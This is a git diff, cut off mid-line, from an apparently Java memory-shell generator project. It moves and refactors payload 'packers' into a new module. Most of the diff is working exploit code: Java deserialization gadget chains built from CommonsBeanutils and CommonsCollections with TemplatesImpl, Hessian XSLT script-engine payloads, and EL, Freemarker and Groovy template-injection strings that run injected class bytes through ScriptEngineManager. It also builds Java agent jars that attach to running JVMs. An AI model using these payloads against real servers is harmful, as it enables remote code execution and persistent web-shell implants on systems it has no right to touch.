b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.packer.deserialize.hessian; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class Hessian2Packer implements AggregatePacker { + +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java new file mode 100644 index 00000000..79b53c51 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.packer.deserialize.hessian; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.HessianDeserializeGenerator; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class Hessian2XSLTScriptEnginePacker implements Packer { + @Override + public String pack(ClassPackerConfig config) { + byte[] injectorBytes = config.getClassBytes(); + String injectorClassName = config.getClassName(); + return HessianDeserializeGenerator.generate2(XSLTScriptEngine.generate(injectorBytes, injectorClassName)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java new file mode 100644 index 00000000..626306a2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.packer.deserialize.hessian; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class HessianPacker implements AggregatePacker { + +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java new file mode 100644 index 00000000..2397aa28 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.deserialize.hessian; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.HessianDeserializeGenerator; + + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class HessianXSLTScriptEnginePacker implements Packer { + @Override + public String pack(ClassPackerConfig config) { + byte[] injectorBytes = config.getClassBytes(); + String injectorClassName = config.getClassName(); + return HessianDeserializeGenerator.generate(XSLTScriptEngine.generate(injectorBytes, injectorClassName)); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java similarity index 91% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java index 9f4189dd..67133bde 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java @@ -1,8 +1,7 @@ -package com.reajason.javaweb.deserialize.payload.hessian; +package com.reajason.javaweb.packer.deserialize.hessian; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.utils.HessianUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.deserialize.utils.HessianUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import lombok.SneakyThrows; import javax.swing.*; @@ -14,10 +13,9 @@ import java.util.HashMap; * @author ReaJason * @since 2025/2/19 */ -public class XSLTScriptEngine implements Payload { - @Override +public class XSLTScriptEngine { @SneakyThrows - public Object generate(byte[] bytes, String className) { + public static Object generate(byte[] bytes, String className) { String base64Str = Base64.getEncoder().encodeToString(bytes); String tmpPath = "/tmp/CACHE_XML"; diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils110.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils110Packer.java similarity index 67% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils110.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils110Packer.java index 493411d8..d52e3f36 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils110.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils110Packer.java @@ -1,8 +1,10 @@ -package com.reajason.javaweb.deserialize.payload.java; +package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.TemplateUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.packer.deserialize.TemplateUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.modifier.FieldManifestation; @@ -16,14 +18,16 @@ import java.net.URLClassLoader; import java.util.Comparator; import java.util.PriorityQueue; + /** * @author ReaJason - * @since 2024/12/3 + * @since 2025/2/17 */ -public class CommonsBeanutils110 implements Payload { +public class CommonsBeanutils110Packer implements Packer { + @Override @SneakyThrows - public Object generate(byte[] bytes) { + public String pack(ClassPackerConfig config) { Object comparator = new ByteBuddy() .redefine(BeanComparator.class) .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) @@ -34,9 +38,9 @@ public class CommonsBeanutils110 implements Payload { final PriorityQueue queue = new PriorityQueue<>(2, ((Comparator) comparator)); queue.add("1"); queue.add("1"); - Object obj = TemplateUtils.createTemplatesImpl(bytes); + Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes()); Reflections.setFieldValue(comparator, "property", "outputProperties"); Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); - return queue; + return JavaDeserializeGenerator.generate(queue); } -} \ No newline at end of file +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils16.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils16Packer.java similarity index 68% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils16.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils16Packer.java index c0bce62f..4dae65f3 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils16.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils16Packer.java @@ -1,8 +1,10 @@ -package com.reajason.javaweb.deserialize.payload.java; +package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.TemplateUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.packer.deserialize.TemplateUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.modifier.FieldManifestation; @@ -16,14 +18,16 @@ import java.net.URLClassLoader; import java.util.Comparator; import java.util.PriorityQueue; + /** * @author ReaJason - * @since 2024/12/3 + * @since 2025/2/17 */ -public class CommonsBeanutils16 implements Payload { +public class CommonsBeanutils16Packer implements Packer { + @Override @SneakyThrows - public Object generate(byte[] bytes) { + public String pack(ClassPackerConfig config) { Object comparator = new ByteBuddy() .redefine(BeanComparator.class) .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) @@ -36,8 +40,8 @@ public class CommonsBeanutils16 implements Payload { queue.add("1"); Reflections.setFieldValue(comparator, "property", "outputProperties"); - Object obj = TemplateUtils.createTemplatesImpl(bytes); + Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes()); Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); - return queue; + return JavaDeserializeGenerator.generate(queue); } -} \ No newline at end of file +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils18.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils18Packer.java similarity index 68% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils18.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils18Packer.java index 648a52fb..593b1f26 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils18.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils18Packer.java @@ -1,8 +1,10 @@ -package com.reajason.javaweb.deserialize.payload.java; +package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.TemplateUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.packer.deserialize.TemplateUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.modifier.FieldManifestation; @@ -16,15 +18,16 @@ import java.net.URLClassLoader; import java.util.Comparator; import java.util.PriorityQueue; + /** * @author ReaJason - * @since 2024/12/3 + * @since 2025/2/17 */ -public class CommonsBeanutils18 implements Payload { +public class CommonsBeanutils18Packer implements Packer { + @Override @SneakyThrows - @SuppressWarnings("unchecked") - public Object generate(byte[] bytes) { + public String pack(ClassPackerConfig config) { Object comparator = new ByteBuddy() .redefine(BeanComparator.class) .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) @@ -37,8 +40,8 @@ public class CommonsBeanutils18 implements Payload { queue.add("1"); Reflections.setFieldValue(comparator, "property", "outputProperties"); - Object obj = TemplateUtils.createTemplatesImpl(bytes); + Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes()); Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); - return queue; + return JavaDeserializeGenerator.generate(queue); } -} \ No newline at end of file +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils19.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19Packer.java similarity index 68% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils19.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19Packer.java index 98d1b247..ae9a1243 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils19.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19Packer.java @@ -1,8 +1,10 @@ -package com.reajason.javaweb.deserialize.payload.java; +package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.TemplateUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.packer.deserialize.TemplateUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.modifier.FieldManifestation; @@ -18,12 +20,13 @@ import java.util.PriorityQueue; /** * @author ReaJason - * @since 2024/12/3 + * @since 2025/2/17 */ -public class CommonsBeanutils19 implements Payload { +public class CommonsBeanutils19Packer implements Packer { + @Override @SneakyThrows - public Object generate(byte[] bytes) { + public String pack(ClassPackerConfig config) { Object comparator = new ByteBuddy() .redefine(BeanComparator.class) .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) @@ -35,8 +38,8 @@ public class CommonsBeanutils19 implements Payload { queue.add("1"); queue.add("1"); Reflections.setFieldValue(comparator, "property", "outputProperties"); - Object obj = TemplateUtils.createTemplatesImpl(bytes); + Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes()); Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); - return queue; + return JavaDeserializeGenerator.generate(queue); } -} \ No newline at end of file +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsCollections3Packer.java similarity index 60% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsCollections3Packer.java index d53d748b..ad33103a 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsCollections3Packer.java @@ -1,8 +1,10 @@ -package com.reajason.javaweb.deserialize.payload.java; +package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.TemplateUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.packer.deserialize.TemplateUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import lombok.SneakyThrows; import org.apache.commons.collections.functors.InvokerTransformer; @@ -12,19 +14,17 @@ import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; + /** - * CC11 链 from CommonsCollections11.md - * * @author ReaJason - * @since 2025/4/2 + * @since 2025/2/17 */ -public class CommonCollections3 implements Payload { +public class CommonsCollections3Packer implements Packer { @Override @SneakyThrows - @SuppressWarnings({"rawtypes", "unchecked"}) - public Object generate(byte[] bytes) { - TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes); + public String pack(ClassPackerConfig config) { + TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes()); InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null); @@ -38,6 +38,6 @@ public class CommonCollections3 implements Payload { outerMap.remove(templates); Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer"); - return expMap; + return JavaDeserializeGenerator.generate(expMap); } } diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsCollections4Packer.java similarity index 67% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsCollections4Packer.java index 866af787..af65e6d5 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/CommonsCollections4Packer.java @@ -1,8 +1,10 @@ -package com.reajason.javaweb.deserialize.payload.java; +package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.deserialize.Payload; -import com.reajason.javaweb.deserialize.TemplateUtils; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.packer.deserialize.TemplateUtils; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import lombok.SneakyThrows; @@ -14,17 +16,17 @@ import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.util.PriorityQueue; + /** * @author ReaJason - * @since 2025/4/2 + * @since 2025/2/17 */ -public class CommonCollections4 implements Payload { +public class CommonsCollections4Packer implements Packer { @Override @SneakyThrows - @SuppressWarnings({"rawtypes", "unchecked"}) - public Object generate(byte[] bytes) { - TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes); + public String pack(ClassPackerConfig config) { + TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes()); ChainedTransformer chain = new ChainedTransformer( new ConstantTransformer(TrAXFilter.class), @@ -34,6 +36,6 @@ public class CommonCollections4 implements Payload { PriorityQueue queue = new PriorityQueue(2, comparator); Reflections.setFieldValue(queue, "size", 2); Reflections.setFieldValue(queue, "comparator", comparator); - return queue; + return JavaDeserializeGenerator.generate(queue); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java new file mode 100644 index 00000000..21ddec84 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.packer.deserialize.java; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JavaDeserializePacker implements AggregatePacker { + +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/utils/HessianUtils.java similarity index 94% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/utils/HessianUtils.java index b3451389..8ae7f594 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/utils/HessianUtils.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.deserialize.utils; +package com.reajason.javaweb.packer.deserialize.utils; import java.lang.reflect.Array; import java.lang.reflect.Constructor; diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/utils/Reflections.java similarity index 93% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/utils/Reflections.java index 6e3e00b1..3f62451c 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/utils/Reflections.java @@ -1,10 +1,7 @@ -package com.reajason.javaweb.deserialize.utils; +package com.reajason.javaweb.packer.deserialize.utils; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19; import sun.reflect.ReflectionFactory; -import sun.security.pkcs.PKCS9Attributes; -import java.lang.reflect.AccessibleObject; import java.lang.reflect.Constructor; import java.lang.reflect.Field; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/el/ELPacker.java similarity index 57% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/el/ELPacker.java index d39ae589..8558a8fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/el/ELPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.el; +package com.reajason.javaweb.packer.el; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class ELPacker implements Packer { String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java similarity index 58% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java index 77709b80..69a71a1c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.freemarker; +package com.reajason.javaweb.packer.freemarker; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class FreemarkerPacker implements Packer { String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyClassDefinerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java similarity index 53% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyClassDefinerPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java index 984dbde1..687f21ac 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyClassDefinerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPacker.java @@ -1,7 +1,7 @@ -package com.reajason.javaweb.memshell.packer.groovy; +package com.reajason.javaweb.packer.groovy; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -26,10 +26,8 @@ public class GroovyClassDefinerPacker implements Packer { @Override @SneakyThrows - public String pack(GenerateResult generateResult) { - String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); - String injectorClassName = generateResult.getInjectorClassName(); - return template.replace("{{className}}", injectorClassName) - .replace("{{base64Str}}", injectorBytesBase64Str); + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); } } \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java new file mode 100644 index 00000000..e27218a2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.packer.groovy; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class GroovyPacker implements AggregatePacker { + +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyScriptEnginePacker.java similarity index 55% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyScriptEnginePacker.java index 52dcd03e..7f4c2bd5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyScriptEnginePacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.groovy; +package com.reajason.javaweb.packer.groovy; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class GroovyScriptEnginePacker implements Packer { String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java similarity index 85% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java index d1c385e0..a29424a7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.jar; +package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.StringUtils; @@ -28,13 +28,13 @@ public class AgentJarPacker implements JarPacker { @Override @SneakyThrows - public byte[] packBytes(GenerateResult generateResult) { - Manifest manifest = createManifest(generateResult.getInjectorClassName()); + public byte[] packBytes(JarPackerConfig jarPackerConfig) { + Manifest manifest = createManifest(jarPackerConfig.getMainClassName()); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); String relocatePrefix = "shade/"; try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) { addDependencies(targetJar, relocatePrefix); - addClassesToJar(targetJar, generateResult, relocatePrefix); + addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix); } return outputStream.toByteArray(); } @@ -57,24 +57,9 @@ public class AgentJarPacker implements JarPacker { } @SneakyThrows - private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) { + private void addClassesToJar(JarOutputStream targetJar, Map bytes, String relocatePrefix) { String dependencyPackage = Opcodes.class.getPackage().getName(); - // Add injector class - addClassEntry(targetJar, - generateResult.getInjectorClassName(), - generateResult.getInjectorBytes(), - dependencyPackage, - relocatePrefix); - - // Add shell class - addClassEntry(targetJar, - generateResult.getShellClassName(), - generateResult.getShellBytes(), - dependencyPackage, - relocatePrefix); - - // Add inner classes - for (Map.Entry entry : generateResult.getInjectorInnerClassBytes().entrySet()) { + for (Map.Entry entry : bytes.entrySet()) { addClassEntry(targetJar, entry.getKey(), entry.getValue(), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJDKAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java similarity index 84% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJDKAttacherPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java index de6494b8..fff0fcb5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJDKAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java @@ -1,11 +1,10 @@ -package com.reajason.javaweb.memshell.packer.jar; +package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.jar.attach.Attacher; -import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.packer.JarPackerConfig; +import com.reajason.javaweb.packer.jar.attach.Attacher; +import com.reajason.javaweb.packer.jar.attach.VirtualMachine; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.StringUtils; @@ -32,10 +31,10 @@ public class AgentJarWithJDKAttacherPacker implements JarPacker { @Override @SneakyThrows - public byte[] packBytes(GenerateResult generateResult) { - String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName()); + public byte[] packBytes(JarPackerConfig jarPackerConfig) { + String packageName = 